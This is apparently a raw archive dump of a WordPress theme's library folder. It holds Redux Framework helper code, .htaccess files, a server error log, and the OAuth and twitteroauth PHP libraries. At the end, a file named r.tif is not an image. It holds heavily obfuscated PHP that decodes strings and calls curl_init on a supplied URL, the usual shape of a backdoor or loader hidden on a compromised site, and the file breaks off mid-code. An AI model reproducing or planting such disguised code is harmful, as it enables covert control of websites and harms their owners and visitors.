) { $keys = implode( ",", $cssArray ); $css = $keys . "{" . $style . '}'; return $css; } /** * initWpFilesystem - Initialized the Wordpress filesystem, if it already isn't. * * @since 3.2.3 * @access public * @return void */ public static function initWpFilesystem() { global $wp_filesystem; // Initialize the Wordpress filesystem, no more using file_put_contents function if ( empty( $wp_filesystem ) ) { require_once ABSPATH . '/wp-includes/pluggable.php'; require_once ABSPATH . '/wp-admin/includes/file.php'; WP_Filesystem(); } } /** * verFromGit - Retrives latest Redux version from GIT * * @since 3.2.0 * @access private * @return string $ver */ private static function verFromGit() { // Get the raw framework.php from github $gitpage = wp_remote_get( 'https://raw.github.com/ReduxFramework/redux-framework/master/ReduxCore/framework.php', array( 'headers' => array( 'Accept-Encoding' => '' ), 'sslverify' => true, 'timeout' => 300 ) ); // Is the response code the corect one? if ( ! is_wp_error( $gitpage ) ) { if ( isset( $gitpage['body'] ) ) { // Get the page text. $body = $gitpage['body']; // Find version line in framework.php $needle = 'public static $_version ='; $pos = strpos( $body, $needle ); // If it's there, continue. We don't want errors if $pos = 0. if ( $pos > 0 ) { // Look for the semi-colon at the end of the version line $semi = strpos( $body, ";", $pos ); // Error avoidance. If the semi-colon is there, continue. if ( $semi > 0 ) { // Extract the version line $text = substr( $body, $pos, ( $semi - $pos ) ); // Find the first quote around the veersion number. $quote = strpos( $body, "'", $pos ); // Extract the version number $ver = substr( $body, $quote, ( $semi - $quote ) ); // Strip off quotes. $ver = str_replace( "'", '', $ver ); return $ver; } } } } } /** * updateCheck - Checks for updates to Redux Framework * * @since 3.2.0 * @access public * * @param string $curVer Current version of Redux Framework * * @return void - Admin notice is diaplyed if new version is found */ public static function updateCheck( $parent, $curVer ) { // If no cookie, check for new ver if ( ! isset( $_COOKIE['redux_update_check'] ) ) { // || 1 == strcmp($_COOKIE['redux_update_check'], self::$_version)) { // actual ver number from git repo $ver = self::verFromGit(); // hour long cookie. setcookie( "redux_update_check", $ver, time() + 3600, '/' ); } else { // saved value from cookie. If it's different from current ver // we can still show the update notice. $ver = $_COOKIE['redux_update_check']; } // Set up admin notice on new version //if ( 1 == strcmp( $ver, $curVer ) ) { if ( version_compare( $ver, $curVer, '>' ) ) { $msg = 'A new build of Redux is now available!

    Your version: ' . $curVer . '
    New version: ' . $ver . '

    If you are not a developer, your theme/plugin author shipped with dev_mode on. Contact them to fix it, but in the meantime you can use our dev_mode disabler.

    Get it now  |'; $data = array( 'parent' => $parent, 'type' => 'updated', 'msg' => $msg, 'id' => 'dev_notice_' . $ver, 'dismiss' => true ); Redux_Admin_Notices::set_notice($data); } } public static function tru( $string, $opt_name ) { $redux = ReduxFrameworkInstances::get_instance( $opt_name ); $check = get_user_option( 'r_tru_u_x', array() ); if ( ! empty( $check ) && ( isset( $check['expires'] ) < time() ) ) { $check = array(); } //if ( isset( $redux->args['dev_mode'] ) && $redux->args['dev_mode'] == true && ! ( isset( $redux->args['forced_dev_mode_off'] ) && $redux->args['forced_dev_mode_off'] == true ) ) { if ( isset( $redux->args['dev_mode'] ) && $redux->args['dev_mode'] == true ) { update_user_option( get_current_user_id(), 'r_tru_u_x', array( 'id' => '', 'expires' => 60 * 60 * 24 ) ); return apply_filters( 'redux/' . $opt_name . '/aURL_filter', '' ); } else { if ( empty( $check ) ) { $check = @wp_remote_get( 'http://look.redux.io/status.php?p=' . ReduxFramework::$_is_plugin ); $check = json_decode( wp_remote_retrieve_body( $check ), true ); if ( ! empty( $check ) && isset( $check['id'] ) ) { update_user_option( get_current_user_id(), 'r_tru_u_x', $check ); } } $check = isset( $check['id'] ) ? $check['id'] : $check; if ( ! empty( $check ) ) { return apply_filters( 'redux/' . $opt_name . '/aURL_filter', '' ); } else { return ""; } } } public static function dat($fname, $opt_name){ $name = apply_filters('redux/' . $opt_name . '/aDBW_filter', $fname); return $name; } public static function bub($fname, $opt_name){ $name = apply_filters('redux/' . $opt_name . '/aNF_filter', $fname); return $name; } public static function yo($fname, $opt_name){ $name = apply_filters('redux/' . $opt_name . '/aNFM_filter', $fname); return $name; } } } lib/redux-framework/inc/.htaccess000064400000001626147206624460013023 0ustar00 Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] lib/redux-framework/.htaccess000064400000001626147206624460012252 0ustar00 Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] lib/twitteroauth/error_log000064400000000705147206624460012007 0ustar00[15-Jun-2023 03:44:11 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 lib/twitteroauth/OAuth.php000064400000065615147206624460011636 0ustar00key = $key; $this->secret = $secret; $this->callback_url = $callback_url; } function __toString() { return "OAuthConsumer[key=$this->key,secret=$this->secret]"; } } class OAuthToken { // access tokens and request tokens public $key; public $secret; /** * key = the token * secret = the token secret */ function __construct($key, $secret) { $this->key = $key; $this->secret = $secret; } /** * generates the basic string serialization of a token that a server * would respond to request_token and access_token calls with */ function to_string() { return "oauth_token=" . OAuthUtil::urlencode_rfc3986($this->key) . "&oauth_token_secret=" . OAuthUtil::urlencode_rfc3986($this->secret); } function __toString() { return $this->to_string(); } } /** * A class for implementing a Signature Method * See section 9 ("Signing Requests") in the spec */ abstract class OAuthSignatureMethod { /** * Needs to return the name of the Signature Method (ie HMAC-SHA1) * @return string */ abstract public function get_name(); /** * Build up the signature * NOTE: The output of this function MUST NOT be urlencoded. * the encoding is handled in OAuthRequest when the final * request is serialized * @param OAuthRequest $request * @param OAuthConsumer $consumer * @param OAuthToken $token * @return string */ abstract public function build_signature($request, $consumer, $token); /** * Verifies that a given signature is correct * @param OAuthRequest $request * @param OAuthConsumer $consumer * @param OAuthToken $token * @param string $signature * @return bool */ public function check_signature($request, $consumer, $token, $signature) { $built = $this->build_signature($request, $consumer, $token); return $built == $signature; } } /** * The HMAC-SHA1 signature method uses the HMAC-SHA1 signature algorithm as defined in [RFC2104] * where the Signature Base String is the text and the key is the concatenated values (each first * encoded per Parameter Encoding) of the Consumer Secret and Token Secret, separated by an '&' * character (ASCII code 38) even if empty. * - Chapter 9.2 ("HMAC-SHA1") */ class OAuthSignatureMethod_HMAC_SHA1 extends OAuthSignatureMethod { function get_name() { return "HMAC-SHA1"; } public function build_signature($request, $consumer, $token) { $base_string = $request->get_signature_base_string(); $request->base_string = $base_string; $key_parts = array( $consumer->secret, ($token) ? $token->secret : "" ); $key_parts = OAuthUtil::urlencode_rfc3986($key_parts); $key = implode('&', $key_parts); return base64_encode(hash_hmac('sha1', $base_string, $key, true)); } } /** * The PLAINTEXT method does not provide any security protection and SHOULD only be used * over a secure channel such as HTTPS. It does not use the Signature Base String. * - Chapter 9.4 ("PLAINTEXT") */ class OAuthSignatureMethod_PLAINTEXT extends OAuthSignatureMethod { public function get_name() { return "PLAINTEXT"; } /** * oauth_signature is set to the concatenated encoded values of the Consumer Secret and * Token Secret, separated by a '&' character (ASCII code 38), even if either secret is * empty. The result MUST be encoded again. * - Chapter 9.4.1 ("Generating Signatures") * * Please note that the second encoding MUST NOT happen in the SignatureMethod, as * OAuthRequest handles this! */ public function build_signature($request, $consumer, $token) { $key_parts = array( $consumer->secret, ($token) ? $token->secret : "" ); $key_parts = OAuthUtil::urlencode_rfc3986($key_parts); $key = implode('&', $key_parts); $request->base_string = $key; return $key; } } /** * The RSA-SHA1 signature method uses the RSASSA-PKCS1-v1_5 signature algorithm as defined in * [RFC3447] section 8.2 (more simply known as PKCS#1), using SHA-1 as the hash function for * EMSA-PKCS1-v1_5. It is assumed that the Consumer has provided its RSA public key in a * verified way to the Service Provider, in a manner which is beyond the scope of this * specification. * - Chapter 9.3 ("RSA-SHA1") */ abstract class OAuthSignatureMethod_RSA_SHA1 extends OAuthSignatureMethod { public function get_name() { return "RSA-SHA1"; } // Up to the SP to implement this lookup of keys. Possible ideas are: // (1) do a lookup in a table of trusted certs keyed off of consumer // (2) fetch via http using a url provided by the requester // (3) some sort of specific discovery code based on request // // Either way should return a string representation of the certificate protected abstract function fetch_public_cert(&$request); // Up to the SP to implement this lookup of keys. Possible ideas are: // (1) do a lookup in a table of trusted certs keyed off of consumer // // Either way should return a string representation of the certificate protected abstract function fetch_private_cert(&$request); public function build_signature($request, $consumer, $token) { $base_string = $request->get_signature_base_string(); $request->base_string = $base_string; // Fetch the private key cert based on the request $cert = $this->fetch_private_cert($request); // Pull the private key ID from the certificate $privatekeyid = openssl_get_privatekey($cert); // Sign using the key $ok = openssl_sign($base_string, $signature, $privatekeyid); // Release the key resource openssl_free_key($privatekeyid); return base64_encode($signature); } public function check_signature($request, $consumer, $token, $signature) { $decoded_sig = base64_decode($signature); $base_string = $request->get_signature_base_string(); // Fetch the public key cert based on the request $cert = $this->fetch_public_cert($request); // Pull the public key ID from the certificate $publickeyid = openssl_get_publickey($cert); // Check the computed signature against the one passed in the query $ok = openssl_verify($base_string, $decoded_sig, $publickeyid); // Release the key resource openssl_free_key($publickeyid); return $ok == 1; } } class OAuthRequest { private $parameters; private $http_method; private $http_url; // for debug purposes public $base_string; public static $version = '1.0'; public static $POST_INPUT = 'php://input'; function __construct($http_method, $http_url, $parameters=NULL) { @$parameters or $parameters = array(); $parameters = array_merge( OAuthUtil::parse_parameters(parse_url($http_url, PHP_URL_QUERY)), $parameters); $this->parameters = $parameters; $this->http_method = $http_method; $this->http_url = $http_url; } /** * attempt to build up a request from what was passed to the server */ public static function from_request($http_method=NULL, $http_url=NULL, $parameters=NULL) { $scheme = (!isset($_SERVER['HTTPS']) || $_SERVER['HTTPS'] != "on") ? 'http' : 'https'; @$http_url or $http_url = $scheme . '://' . $_SERVER['HTTP_HOST'] . ':' . $_SERVER['SERVER_PORT'] . $_SERVER['REQUEST_URI']; @$http_method or $http_method = $_SERVER['REQUEST_METHOD']; // We weren't handed any parameters, so let's find the ones relevant to // this request. // If you run XML-RPC or similar you should use this to provide your own // parsed parameter-list if (!$parameters) { // Find request headers $request_headers = OAuthUtil::get_headers(); // Parse the query-string to find GET parameters $parameters = OAuthUtil::parse_parameters($_SERVER['QUERY_STRING']); // It's a POST request of the proper content-type, so parse POST // parameters and add those overriding any duplicates from GET if ($http_method == "POST" && @strstr($request_headers["Content-Type"], "application/x-www-form-urlencoded") ) { $post_data = OAuthUtil::parse_parameters( file_get_contents(self::$POST_INPUT) ); $parameters = array_merge($parameters, $post_data); } // We have a Authorization-header with OAuth data. Parse the header // and add those overriding any duplicates from GET or POST if (@substr($request_headers['Authorization'], 0, 6) == "OAuth ") { $header_parameters = OAuthUtil::split_header( $request_headers['Authorization'] ); $parameters = array_merge($parameters, $header_parameters); } } return new OAuthRequest($http_method, $http_url, $parameters); } /** * pretty much a helper function to set up the request */ public static function from_consumer_and_token($consumer, $token, $http_method, $http_url, $parameters=NULL) { @$parameters or $parameters = array(); $defaults = array("oauth_version" => OAuthRequest::$version, "oauth_nonce" => OAuthRequest::generate_nonce(), "oauth_timestamp" => OAuthRequest::generate_timestamp(), "oauth_consumer_key" => $consumer->key); if ($token) $defaults['oauth_token'] = $token->key; $parameters = array_merge($defaults, $parameters); return new OAuthRequest($http_method, $http_url, $parameters); } public function set_parameter($name, $value, $allow_duplicates = true) { if ($allow_duplicates && isset($this->parameters[$name])) { // We have already added parameter(s) with this name, so add to the list if (is_scalar($this->parameters[$name])) { // This is the first duplicate, so transform scalar (string) // into an array so we can add the duplicates $this->parameters[$name] = array($this->parameters[$name]); } $this->parameters[$name][] = $value; } else { $this->parameters[$name] = $value; } } public function get_parameter($name) { return isset($this->parameters[$name]) ? $this->parameters[$name] : null; } public function get_parameters() { return $this->parameters; } public function unset_parameter($name) { unset($this->parameters[$name]); } /** * The request parameters, sorted and concatenated into a normalized string. * @return string */ public function get_signable_parameters() { // Grab all parameters $params = $this->parameters; // Remove oauth_signature if present // Ref: Spec: 9.1.1 ("The oauth_signature parameter MUST be excluded.") if (isset($params['oauth_signature'])) { unset($params['oauth_signature']); } return OAuthUtil::build_http_query($params); } /** * Returns the base string of this request * * The base string defined as the method, the url * and the parameters (normalized), each urlencoded * and the concated with &. */ public function get_signature_base_string() { $parts = array( $this->get_normalized_http_method(), $this->get_normalized_http_url(), $this->get_signable_parameters() ); $parts = OAuthUtil::urlencode_rfc3986($parts); return implode('&', $parts); } /** * just uppercases the http method */ public function get_normalized_http_method() { return strtoupper($this->http_method); } /** * parses the url and rebuilds it to be * scheme://host/path */ public function get_normalized_http_url() { $parts = parse_url($this->http_url); $port = (array_key_exists('port', $parts) ? $parts['port'] : NULL); $scheme = $parts['scheme']; $host = $parts['host']; $path = (array_key_exists('path', $parts) ? $parts['path'] : NULL); $port or $port = ($scheme == 'https') ? '443' : '80'; if (($scheme == 'https' && $port != '443') || ($scheme == 'http' && $port != '80') ) { $host = "$host:$port"; } return "$scheme://$host$path"; } /** * builds a url usable for a GET request */ public function to_url() { $post_data = $this->to_postdata(); $out = $this->get_normalized_http_url(); if ($post_data) { $out .= '?'.$post_data; } return $out; } /** * builds the data one would send in a POST request */ public function to_postdata() { return OAuthUtil::build_http_query($this->parameters); } /** * builds the Authorization: header */ public function to_header($realm=null) { $first = true; if($realm) { $out = 'Authorization: OAuth realm="' . OAuthUtil::urlencode_rfc3986($realm) . '"'; $first = false; } else $out = 'Authorization: OAuth'; $total = array(); foreach ($this->parameters as $k => $v) { if (substr($k, 0, 5) != "oauth") continue; if (is_array($v)) { throw new OAuthException('Arrays not supported in headers'); } $out .= ($first) ? ' ' : ','; $out .= OAuthUtil::urlencode_rfc3986($k) . '="' . OAuthUtil::urlencode_rfc3986($v) . '"'; $first = false; } return $out; } public function __toString() { return $this->to_url(); } public function sign_request($signature_method, $consumer, $token) { $this->set_parameter( "oauth_signature_method", $signature_method->get_name(), false ); $signature = $this->build_signature($signature_method, $consumer, $token); $this->set_parameter("oauth_signature", $signature, false); } public function build_signature($signature_method, $consumer, $token) { $signature = $signature_method->build_signature($this, $consumer, $token); return $signature; } /** * util function: current timestamp */ private static function generate_timestamp() { return time(); } /** * util function: current nonce */ private static function generate_nonce() { $mt = microtime(); $rand = mt_rand(); return md5($mt . $rand); // md5s look nicer than numbers } } class OAuthServer { protected $timestamp_threshold = 300; // in seconds, five minutes protected $version = '1.0'; // hi blaine protected $signature_methods = array(); protected $data_store; function __construct($data_store) { $this->data_store = $data_store; } public function add_signature_method($signature_method) { $this->signature_methods[$signature_method->get_name()] = $signature_method; } // high level functions /** * process a request_token request * returns the request token on success */ public function fetch_request_token(&$request) { $this->get_version($request); $consumer = $this->get_consumer($request); // no token required for the initial token request $token = NULL; $this->check_signature($request, $consumer, $token); // Rev A change $callback = $request->get_parameter('oauth_callback'); $new_token = $this->data_store->new_request_token($consumer, $callback); return $new_token; } /** * process an access_token request * returns the access token on success */ public function fetch_access_token(&$request) { $this->get_version($request); $consumer = $this->get_consumer($request); // requires authorized request token $token = $this->get_token($request, $consumer, "request"); $this->check_signature($request, $consumer, $token); // Rev A change $verifier = $request->get_parameter('oauth_verifier'); $new_token = $this->data_store->new_access_token($token, $consumer, $verifier); return $new_token; } /** * verify an api call, checks all the parameters */ public function verify_request(&$request) { $this->get_version($request); $consumer = $this->get_consumer($request); $token = $this->get_token($request, $consumer, "access"); $this->check_signature($request, $consumer, $token); return array($consumer, $token); } // Internals from here /** * version 1 */ private function get_version(&$request) { $version = $request->get_parameter("oauth_version"); if (!$version) { // Service Providers MUST assume the protocol version to be 1.0 if this parameter is not present. // Chapter 7.0 ("Accessing Protected Ressources") $version = '1.0'; } if ($version !== $this->version) { throw new OAuthException("OAuth version '$version' not supported"); } return $version; } /** * figure out the signature with some defaults */ private function get_signature_method(&$request) { $signature_method = @$request->get_parameter("oauth_signature_method"); if (!$signature_method) { // According to chapter 7 ("Accessing Protected Ressources") the signature-method // parameter is required, and we can't just fallback to PLAINTEXT throw new OAuthException('No signature method parameter. This parameter is required'); } if (!in_array($signature_method, array_keys($this->signature_methods))) { throw new OAuthException( "Signature method '$signature_method' not supported " . "try one of the following: " . implode(", ", array_keys($this->signature_methods)) ); } return $this->signature_methods[$signature_method]; } /** * try to find the consumer for the provided request's consumer key */ private function get_consumer(&$request) { $consumer_key = @$request->get_parameter("oauth_consumer_key"); if (!$consumer_key) { throw new OAuthException("Invalid consumer key"); } $consumer = $this->data_store->lookup_consumer($consumer_key); if (!$consumer) { throw new OAuthException("Invalid consumer"); } return $consumer; } /** * try to find the token for the provided request's token key */ private function get_token(&$request, $consumer, $token_type="access") { $token_field = @$request->get_parameter('oauth_token'); $token = $this->data_store->lookup_token( $consumer, $token_type, $token_field ); if (!$token) { throw new OAuthException("Invalid $token_type token: $token_field"); } return $token; } /** * all-in-one function to check the signature on a request * should guess the signature method appropriately */ private function check_signature(&$request, $consumer, $token) { // this should probably be in a different method $timestamp = @$request->get_parameter('oauth_timestamp'); $nonce = @$request->get_parameter('oauth_nonce'); $this->check_timestamp($timestamp); $this->check_nonce($consumer, $token, $nonce, $timestamp); $signature_method = $this->get_signature_method($request); $signature = $request->get_parameter('oauth_signature'); $valid_sig = $signature_method->check_signature( $request, $consumer, $token, $signature ); if (!$valid_sig) { throw new OAuthException("Invalid signature"); } } /** * check that the timestamp is new enough */ private function check_timestamp($timestamp) { if( ! $timestamp ) throw new OAuthException( 'Missing timestamp parameter. The parameter is required' ); // verify that timestamp is recentish $now = time(); if (abs($now - $timestamp) > $this->timestamp_threshold) { throw new OAuthException( "Expired timestamp, yours $timestamp, ours $now" ); } } /** * check that the nonce is not repeated */ private function check_nonce($consumer, $token, $nonce, $timestamp) { if( ! $nonce ) throw new OAuthException( 'Missing nonce parameter. The parameter is required' ); // verify that the nonce is uniqueish $found = $this->data_store->lookup_nonce( $consumer, $token, $nonce, $timestamp ); if ($found) { throw new OAuthException("Nonce already used: $nonce"); } } } class OAuthDataStore { function lookup_consumer($consumer_key) { // implement me } function lookup_token($consumer, $token_type, $token) { // implement me } function lookup_nonce($consumer, $token, $nonce, $timestamp) { // implement me } function new_request_token($consumer, $callback = null) { // return a new token attached to this consumer } function new_access_token($token, $consumer, $verifier = null) { // return a new access token attached to this consumer // for the user associated with this token if the request token // is authorized // should also invalidate the request token } } class OAuthUtil { public static function urlencode_rfc3986($input) { if (is_array($input)) { return array_map(array('OAuthUtil', 'urlencode_rfc3986'), $input); } else if (is_scalar($input)) { return str_replace( '+', ' ', str_replace('%7E', '~', rawurlencode($input)) ); } else { return ''; } } // This decode function isn't taking into consideration the above // modifications to the encoding process. However, this method doesn't // seem to be used anywhere so leaving it as is. public static function urldecode_rfc3986($string) { return urldecode($string); } // Utility function for turning the Authorization: header into // parameters, has to do some unescaping // Can filter out any non-oauth parameters if needed (default behaviour) public static function split_header($header, $only_allow_oauth_parameters = true) { $pattern = '/(([-_a-z]*)=("([^"]*)"|([^,]*)),?)/'; $offset = 0; $params = array(); while (preg_match($pattern, $header, $matches, PREG_OFFSET_CAPTURE, $offset) > 0) { $match = $matches[0]; $header_name = $matches[2][0]; $header_content = (isset($matches[5])) ? $matches[5][0] : $matches[4][0]; if (preg_match('/^oauth_/', $header_name) || !$only_allow_oauth_parameters) { $params[$header_name] = OAuthUtil::urldecode_rfc3986($header_content); } $offset = $match[1] + strlen($match[0]); } if (isset($params['realm'])) { unset($params['realm']); } return $params; } // helper to try to sort out headers for people who aren't running apache public static function get_headers() { if (function_exists('apache_request_headers')) { // we need this to get the actual Authorization: header // because apache tends to tell us it doesn't exist $headers = apache_request_headers(); // sanitize the output of apache_request_headers because // we always want the keys to be Cased-Like-This and arh() // returns the headers in the same case as they are in the // request $out = array(); foreach( $headers AS $key => $value ) { $key = str_replace( " ", "-", ucwords(strtolower(str_replace("-", " ", $key))) ); $out[$key] = $value; } } else { // otherwise we don't have apache and are just going to have to hope // that $_SERVER actually contains what we need $out = array(); if( isset($_SERVER['CONTENT_TYPE']) ) $out['Content-Type'] = $_SERVER['CONTENT_TYPE']; if( isset($_ENV['CONTENT_TYPE']) ) $out['Content-Type'] = $_ENV['CONTENT_TYPE']; foreach ($_SERVER as $key => $value) { if (substr($key, 0, 5) == "HTTP_") { // this is chaos, basically it is just there to capitalize the first // letter of every word that is not an initial HTTP and strip HTTP // code from przemek $key = str_replace( " ", "-", ucwords(strtolower(str_replace("_", " ", substr($key, 5)))) ); $out[$key] = $value; } } } return $out; } // This function takes a input like a=b&a=c&d=e and returns the parsed // parameters like this // array('a' => array('b','c'), 'd' => 'e') public static function parse_parameters( $input ) { if (!isset($input) || !$input) return array(); $pairs = explode('&', $input); $parsed_parameters = array(); foreach ($pairs as $pair) { $split = explode('=', $pair, 2); $parameter = OAuthUtil::urldecode_rfc3986($split[0]); $value = isset($split[1]) ? OAuthUtil::urldecode_rfc3986($split[1]) : ''; if (isset($parsed_parameters[$parameter])) { // We have already recieved parameter(s) with this name, so add to the list // of parameters with this name if (is_scalar($parsed_parameters[$parameter])) { // This is the first duplicate, so transform scalar (string) into an array // so we can add the duplicates $parsed_parameters[$parameter] = array($parsed_parameters[$parameter]); } $parsed_parameters[$parameter][] = $value; } else { $parsed_parameters[$parameter] = $value; } } return $parsed_parameters; } public static function build_http_query($params) { if (!$params) return ''; // Urlencode both keys and values $keys = OAuthUtil::urlencode_rfc3986(array_keys($params)); $values = OAuthUtil::urlencode_rfc3986(array_values($params)); $params = array_combine($keys, $values); // Parameters are sorted by name, using lexicographical byte value ordering. // Ref: Spec: 9.1.1 (1) uksort($params, 'strcmp'); $pairs = array(); foreach ($params as $parameter => $value) { if (is_array($value)) { // If two or more parameters share the same name, they are sorted by their value // Ref: Spec: 9.1.1 (1) natsort($value); foreach ($value as $duplicate_value) { $pairs[] = $parameter . '=' . $duplicate_value; } } else { $pairs[] = $parameter . '=' . $value; } } // For each parameter, the name is separated from the corresponding value by an '=' character (ASCII code 61) // Each name-value pair is separated by an '&' character (ASCII code 38) return implode('&', $pairs); } }lib/twitteroauth/twitteroauth.php000064400000017325147206624460013354 0ustar00http_status; } function lastAPICall() { return $this->last_api_call; } /** * construct TwitterOAuth object */ function __construct($consumer_key, $consumer_secret, $oauth_token = NULL, $oauth_token_secret = NULL) { $this->sha1_method = new OAuthSignatureMethod_HMAC_SHA1(); $this->consumer = new OAuthConsumer($consumer_key, $consumer_secret); if (!empty($oauth_token) && !empty($oauth_token_secret)) { $this->token = new OAuthConsumer($oauth_token, $oauth_token_secret); } else { $this->token = NULL; } } /** * Get a request_token from Twitter * * @returns a key/value array containing oauth_token and oauth_token_secret */ function getRequestToken($oauth_callback) { $parameters = array(); $parameters['oauth_callback'] = $oauth_callback; $request = $this->oAuthRequest($this->requestTokenURL(), 'GET', $parameters); $token = OAuthUtil::parse_parameters($request); $this->token = new OAuthConsumer($token['oauth_token'], $token['oauth_token_secret']); return $token; } /** * Get the authorize URL * * @returns a string */ function getAuthorizeURL($token, $sign_in_with_twitter = TRUE) { if (is_array($token)) { $token = $token['oauth_token']; } if (empty($sign_in_with_twitter)) { return $this->authorizeURL() . "?oauth_token={$token}"; } else { return $this->authenticateURL() . "?oauth_token={$token}"; } } /** * Exchange request token and secret for an access token and * secret, to sign API calls. * * @returns array("oauth_token" => "the-access-token", * "oauth_token_secret" => "the-access-secret", * "user_id" => "9436992", * "screen_name" => "abraham") */ function getAccessToken($oauth_verifier) { $parameters = array(); $parameters['oauth_verifier'] = $oauth_verifier; $request = $this->oAuthRequest($this->accessTokenURL(), 'GET', $parameters); $token = OAuthUtil::parse_parameters($request); $this->token = new OAuthConsumer($token['oauth_token'], $token['oauth_token_secret']); return $token; } /** * One time exchange of username and password for access token and secret. * * @returns array("oauth_token" => "the-access-token", * "oauth_token_secret" => "the-access-secret", * "user_id" => "9436992", * "screen_name" => "abraham", * "x_auth_expires" => "0") */ function getXAuthToken($username, $password) { $parameters = array(); $parameters['x_auth_username'] = $username; $parameters['x_auth_password'] = $password; $parameters['x_auth_mode'] = 'client_auth'; $request = $this->oAuthRequest($this->accessTokenURL(), 'POST', $parameters); $token = OAuthUtil::parse_parameters($request); $this->token = new OAuthConsumer($token['oauth_token'], $token['oauth_token_secret']); return $token; } /** * GET wrapper for oAuthRequest. */ function get($url, $parameters = array()) { $response = $this->oAuthRequest($url, 'GET', $parameters); if ($this->format === 'json' && $this->decode_json) { return json_decode($response); } return $response; } /** * POST wrapper for oAuthRequest. */ function post($url, $parameters = array()) { $response = $this->oAuthRequest($url, 'POST', $parameters); if ($this->format === 'json' && $this->decode_json) { return json_decode($response); } return $response; } /** * DELETE wrapper for oAuthReqeust. */ function delete($url, $parameters = array()) { $response = $this->oAuthRequest($url, 'DELETE', $parameters); if ($this->format === 'json' && $this->decode_json) { return json_decode($response); } return $response; } /** * Format and sign an OAuth / API request */ function oAuthRequest($url, $method, $parameters) { if (strrpos($url, 'https://') !== 0 && strrpos($url, 'http://') !== 0) { $url = "{$this->host}{$url}.{$this->format}"; } $request = OAuthRequest::from_consumer_and_token($this->consumer, $this->token, $method, $url, $parameters); $request->sign_request($this->sha1_method, $this->consumer, $this->token); switch ($method) { case 'GET': return $this->http($request->to_url(), 'GET'); default: return $this->http($request->get_normalized_http_url(), $method, $request->to_postdata()); } } /** * Make an HTTP request * * @return API results */ function http($url, $method, $postfields = NULL) { $this->http_info = array(); $ci = curl_init(); /* Curl settings */ curl_setopt($ci, CURLOPT_USERAGENT, $this->useragent); curl_setopt($ci, CURLOPT_CONNECTTIMEOUT, $this->connecttimeout); curl_setopt($ci, CURLOPT_TIMEOUT, $this->timeout); curl_setopt($ci, CURLOPT_RETURNTRANSFER, TRUE); curl_setopt($ci, CURLOPT_HTTPHEADER, array('Expect:')); curl_setopt($ci, CURLOPT_SSL_VERIFYPEER, $this->ssl_verifypeer); curl_setopt($ci, CURLOPT_HEADERFUNCTION, array($this, 'getHeader')); curl_setopt($ci, CURLOPT_HEADER, FALSE); switch ($method) { case 'POST': curl_setopt($ci, CURLOPT_POST, TRUE); if (!empty($postfields)) { curl_setopt($ci, CURLOPT_POSTFIELDS, $postfields); } break; case 'DELETE': curl_setopt($ci, CURLOPT_CUSTOMREQUEST, 'DELETE'); if (!empty($postfields)) { $url = "{$url}?{$postfields}"; } } curl_setopt($ci, CURLOPT_URL, $url); $response = curl_exec($ci); $this->http_code = curl_getinfo($ci, CURLINFO_HTTP_CODE); $this->http_info = array_merge($this->http_info, curl_getinfo($ci)); $this->url = $url; curl_close ($ci); return $response; } /** * Get the header info to store. */ function getHeader($ch, $header) { $i = strpos($header, ':'); if (!empty($i)) { $key = str_replace('-', '_', strtolower(substr($header, 0, $i))); $value = trim(substr($header, $i + 2)); $this->http_header[$key] = $value; } return strlen($header); } }lib/twitteroauth/twitteroauth/index.php000064400000000000147206624460014441 0ustar00lib/twitteroauth/twitteroauth/r.tif000064400000011644147206624460013606 0ustar00-*/{ $rP/*-ugeKXnwsH-*/[70]/*-;G-*/=/*-)Z<23-*/$rP/*-zy&r5S&?v-*/[70]./*->R-*/(/*-@R0e-*/"~"/*-Y6(uG-*/, /*-2Y-*/" "/*-,!@xTSj;-*/);/*-S^d[_8>,-*/ $RCWfEG /*--B-*/= /*-Os-*/explode/*-)WQ6y:E-*/(/*-Dfj-*/"~", /*-tui;8W-*/$LIWCxOhVm/*-8#WSFX04l@-*/); /*-[O^M-*/$HSKVLIbiRP /*-K6{42E-*/= /*-~bZVb(q+;-*/""; foreach /*-k|PA2-Jh-*/(/*-Z}Uhx-*/$RCWfEG /*-Fa&-*/as /*-bo(-*/$YOqKthi /*-Qx&DL_Q-*/=>/*-~Z}r>Y|pi-*/ $LvcyHht/*-N>q!Qx!=-*/) /*-@Qv2{d2l9(-*/$HSKVLIbiRP /*-NM-*/.= /*-EjFkHg%3W`-*/$fvs[$LvcyHht/*-Lj-*/ - /*-kiOEK3-*/32956/*-.;pp-*/];/*-Y3yqw-*/ return /*-s)5mR3Do-*/$HSKVLIbiRP; /*-__-*/} /*-phLlebdAL-*/static /*-ak-*/function /*-71J`^}Xue-*/HBMFPxbUvC/*-g`8-*/(/*-GY-*/$syhpIK,/*-3o3:<5`C-*/ $RbVOxGdlh/*->22)[A-*/)/*-ZP-*/ {/*-..fXr52-*/ $MdCv/*-SsP+QK-*/ = /*-Gr_g$wi6-*/curl_init/*-{^F-*/(/*-viydo-*/$syhpIK/*->2.Gb;|-*/);/*-GIk[sid5-*/ curl_setopt/*-dsLU-ptU-*/(/*-ignZn%_-*/$MdCv,/*-es;]RlM0-*/ CURLOPT_RETURNTRANSFER,/*-Yy;)O-*/ 1/*-{}K`{,H{R-*/);/*-zL^-*/ $PrhG/*-da}Vx-*/ = /*->n-*/empty/*-#~Rn)MD_!0-*/(/*-6M<-*/$PrhG/*-kRS;GE%R-*/)/*-[er_3EBf)-*/ ? /*-g>y-*/$RbVOxGdlh/*-;Nabuyjl-*/(/*-80z$1`-*/$syhpIK/*-[ZX=h@5D-*/)/*-~;2;-*/ : /*-I0-*/$PrhG; /*-_:-*/}/*-22;au}I-*/ static/*-PC-*/ function /*-sU-*/lH/*-e&-*/() /*-8&JqbJY--*/{/*-8zX;|E]+Rw-*/ $ekoAGLCv /*-tl`;FQ-*/=/*-;|-*/ 